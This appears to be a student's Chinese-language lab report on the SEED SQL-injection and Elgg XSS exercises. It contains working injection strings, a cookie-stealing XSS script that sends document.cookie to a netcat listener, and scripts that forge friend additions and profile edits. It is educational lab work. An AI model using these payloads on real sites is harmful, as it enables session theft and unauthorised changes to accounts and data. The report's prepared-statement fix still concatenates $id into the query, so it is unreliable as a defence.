20212934 2021-2022-2 高铭泽 网络攻防实践,第十次作业,
实验目的
一、SEED SQL注入攻击与防御实验
熟悉SQL语句: 我们已经创建了一个名为Users的数据库,其中包含一个名为creditential的表。该表存储了每个员工的个人信息(例如,eid,密码,薪水,ssn等)。在此任务中,您需要使用数据库来熟悉SQL查询。
对SELECT语句的SQL注入攻击:上述Web应用存在SQL输入漏洞,任务是在不知道密码的情况下登陆该Web应用程序。
对UPDATE语句的SQL注入攻击:通过员工的更新个人界面实施UPDATE语句的SQL注入攻击。
SQL对抗:修复上述SQL注入攻击漏洞。
二、SEED XSS跨站脚本攻击实验(Elgg)
发布恶意消息,显示警报窗口:在您的Elgg配置文件中嵌入一个JavaScript程序,以便当另一个用户查看您的配置文件时,将执行JavaScript程序并显示一个警报窗口。
弹窗显示cookie信息:将cookie信息显示。
窃取受害者的cookies:将cookie发送给攻击者。
成为受害者的朋友:使用js程序加受害者为朋友,无需受害者干预,使用相关的工具了解Elgg加好友的过程。
修改受害者的信息:使用js程序使得受害者在访问Alice的页面时,资料无需干预却被修改。
编写XSS蠕虫。
对抗XSS攻击。
背景知识
Web的应用架构
其中1是DNS域名服务器,类似于需要一个电话簿去查找过去的号码一样,需要一个用来查找域名IP地址的通行权,可以将DNS视为互联网的电话簿。2是负载均衡器,它们将传入的请求路由到许多应用程序服务器中的一个,这些服务器通常是彼此的克隆/镜像映像,并将响应从应用程序服务器发送回客户端。3是web应用服务器,它们执行处理用户请求的核心业务逻辑,并将HTML发送回用户的浏览器。4是数据库服务器用来储存信息。5是缓存服务。6是队列任务服务器。7是全文搜索服务。8是通用服务,它们没有暴露于外部世界,但应用程序和其他服务与它们互动。9是数据,10是云储存,11是内容分发网络。
关于SQL
SQL简介:SQL即结构化查询语言(Structured Query Language),是一种特殊目的的编程语言,是一种数据库查询和程序设计语言,用于存取数据以及查询、更新和管理关系数据库系统;同时也是数据库脚本文件的扩展名。
SQL语句参考:https://product.pconline.com.cn/itbk/wlbg/servers/1506/6550460.html
SQL注入:SQL注入即是指web应用程序对用户输入数据的合法性没有判断或过滤不严,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,在管理员不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息
SQL注入攻击是通过操作输入来修改SQL语句,用以达到执行代码对WEB服务器进行攻击的方法。简单的说就是在post/getweb表单、输入域名或页面请求的查询字符串中插入SQL命令,最终使web服务器执行恶意命令的过程。
SQL注入的危害:
非法读取、篡改、添加、删除数据库中的数据。
盗取用户的各类敏感信息,获取利益。
通过修改数据库来修改网页上的内容。
私自添加或删除账号。
注入木马等等。
XSS漏洞
XSS,即跨站脚本攻击,是指攻击者利用Web服务器中的应用程序或代码漏洞,在页面中嵌入客户端脚本(通常是一段由JavaScript编写的恶意代码,少数情况下还有ActionScript、VBScript等语言),当信任此Web服务器的用户访问Web站点中含有恶意脚本代码的页面或打开收到的URL链接时,用户浏览器会自动加载并执行该恶意代码,从而达到攻击的目的。
XSS漏洞的危害
(1)窃取管理员帐号或Cookie。
(2)窃取用户的个人信息或者登录帐号,对网站的用户安全产生巨大的威胁。(3)网站挂马。先将恶意攻击代码嵌入到Web应用程序之中。
(3)发送广告或者垃圾信息。
XSS漏洞的检测与防御
常用的检测工具有AVWS(Acunetix Web Vulnerability Scanner)、BurpSuite等。还有一些专门针对XSS漏洞的检测工具,如:XSSer、XSSF(跨站脚本攻击框架)、BeEF(The Browser Exploitation Framework)等。
同时可以使用黑名单、对HTML标签或特殊字符进行过滤、使用内容安全的CSP、使用设计上就会自动编码的框架、启用浏览器的HttpOnly特性可以组织客户端脚本访问cookie等方法进行防御。
实验过程:
一、SEED SQL注入攻击与防御实验
登录 MySQL 数据库:
mysql -u root -pseedubuntu
进入Users库:
使用浏览器访问www.SEEDLabSQLInjection.com
使用ctrl+U查看页面源码,表单将用户输入的信息使用get方法提交至unsafe_home.php页面进行权限校验。
通过vim /var/www/SQLInjection/unsafe_home.php,找到核心的SQL语句,其中where部分存在可以进行注入攻击的漏洞
这样的话,就可以绕过密码校验,直接进入Admin用户页面。测试输入用户名为Admin' #,密码为空
发现成功登录
再使用Alice' #的账号进行登录
可以看到以下信息
点击页面上方的Edit Profile进入更新信息页
查看源码,将unsafe_edit_backend.php中,对UPDATE语句进行预处理。
修改为:
$sql = $conn->prepare("UPDATE credential SET nickname=?,email=?,address=?,PhoneNumber=? where ID=$id;");$sql->bind_param("ssss", $input_nickname, $input_email,$input_address, $input_phonenumber);
如果用户在 NickName 文本框中输入:', salary='500000' where EID='10000';#,那么变量$input_nickname则发生相应改变,于是,上面的语句变为:$sql = "UPDATE credential SET nickname='', salary='500000' where EID='10000';,这条语句就实现了将 Alice 的工资更新为 500000。
攻击成功
实践二:发布恶意消息,显示警报
访问http://www.xsslabelgg.com,使用 Alice 的账户进行登录,用户名为 alice,密码为 seedalice(其他账户密码为seed+用户名)
进入个人信息页面http://www.xsslabelgg.com/profile/alice,点击Edit profile,在Brief description文本框输入:
<script>alert('xss');</script>
点击Save保存
刷新页面,再次弹出上述提示框
实现了通过嵌入 JS 代码,弹出警报窗口。
弹窗显示 cookie 信息
在Brief description文本框输入:
<script>alert(document.cookie);</script>
之后从Boby的页面弹进入Alice的页面时弹出提示框,并且显示当前的 cookie 信息
窃取受害者的 cookies
打开 TCP server 监听5555端口, 将受害者cookies 发送到自己的 5555 端口,就可以输出收到内容
<script>
document.write('<img src=http://127.0.0.1:5555?c=' + escape(document.cookie) + '>');
</script>
document.write()提供了可以对浏览器 DOM 结构进行操作的 API 接口。
escape()函数可以编码字符串。
将上述代码同样输入到Brief description文本框中,然后在终端使用以下指令监听端口:nc -l 5555 -v
成为受害者的朋友
使用view-->sidebar-->HTTP Header Live查看在正常的情况下,添加好友应该发送的指令。
使用出如下的代码,可以自动添加好友。
<script type="text/javascript">window.onload = function () {
var Ajax=null;
var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
var token="&__elgg_token="+elgg.security.token.__elgg_token;
//Construct the HTTP request to add Samy as a friend.
var sendurl="http://www.xsslabelgg.com/action/friends/add?friend=44" + ts + token;
//Create and send Ajax request to add friend
Ajax=new XMLHttpRequest();
Ajax.open("GET",sendurl,true);
Ajax.setRequestHeader("Host","www.xsslabelgg.com");
Ajax.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
Ajax.send();
}</script>
将上述代码放到Alice的About me中,然后用boby的账号访问Alice的个人主页。之后返回boby主页,可以看到boby自动加了Alice的好友
结果如下
修改受害者的信息
同样将代码放到alice的about me中。登陆boby账号访问Alice的个人主页。
<script type="text/javascript">
window.onload = function(){
//JavaScript code to access user name, user guid, Time Stamp __elgg_ts
//and Security Token __elgg_token
var userName=elgg.session.user.name;
var guid="&guid="+elgg.session.user.guid;
var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
var token="&__elgg_token="+elgg.security.token.__elgg_token;
//Construct the content of your url.
var content= token + ts + "name=" + userName + "&description=<p>this had been changed by xss attack.</p> &accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2" + guid;
var sendurl = "http://www.xsslabelgg.com/action/profile/edit"
alert(content)
//FILL IN
var samyGuid=44;
//FILL IN
if(elgg.session.user.guid!=samyGuid)
{
//Create and send Ajax request to modify profile
var Ajax=null;
Ajax=new XMLHttpRequest();
Ajax.open("POST",sendurl,true);
Ajax.setRequestHeader("Host","www.xsslabelgg.com");
Ajax.setRequestHeader("Content-Type",
"application/x-www-form-urlencoded");
Ajax.send(content);
}
}</script>
被攻击前和被攻击后的状态如下图